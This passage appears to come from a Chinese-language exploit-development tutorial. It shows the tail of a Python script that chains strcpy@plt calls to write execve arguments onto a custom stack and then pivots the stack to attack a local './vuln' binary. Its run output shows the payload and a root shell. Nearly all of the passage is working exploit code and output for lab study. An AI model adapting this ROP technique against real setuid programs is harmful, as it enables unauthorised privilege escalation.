buf += conv(execve_path_dst)
buf += conv(execve_path_oct5)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct6)
#Below stack frame is for strcpy (to copy execve argv[0] (0x804ac60) to custom stack @ loc 0x804ac68)
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_argv1_oct4)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_argv1_oct3)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_argv1_oct2)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_argv1_oct1)
#Below stack frame is for strcpy (to copy execve argv[1] (0x0) to custom stack @ loc 0x804ac6c)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_null_arg)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_null_arg)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_null_arg)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_null_arg)
#Stack Pivot
buf += conv(pr_addr)
buf += conv(cust_base_esp)
buf += conv(lr_addr)
print "Calling vulnerable program"
call(["./vuln", buf])
執行上述利用代碼,我們會獲得 root shell(在下面展示):
$ python exp.py
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��ᆳ�ᆳ�ᆳ�ͅᆳހ�����ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳޢ�@���0�����Ѓ΅d�ˁЃ΅e�U�Ѓ΅f�0�Ѓ΅g�C�Ѓ΅h�܃Ѓ΅i�U�Ѓ΅j�0�Ѓ΅k�C�Ѓ΅l�`�Ѓ΅m�`�Ѓ΅n�`�Ѓ΅o�`�Ѓ΅p���Ѓ΅q�Ѓ΅r�0�Ѓ΅s�C�Ѓ΅t���Ѓ΅u�Ѓ΅v�0�Ѓ΅w�C�Ѓ΅x�`�Ѓ΅y�`�Ѓ΅z�`�Ѓ΅{�`�Ѓ΅`�T�Ѓ΅a�W�Ѓ΅b�V�Ѓ΅c�^�Ѓ΅d�T�Ѓ΅e�b�Ѓ΅f���Ѓ΅h���Ѓ΅i�Ѓ΅j�0�Ѓ΅k�C�Ѓ΅l�`�Ѓ΅m�`�Ѓ΅n�`�Ѓ΅o�`���`�i�
Len:1008
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$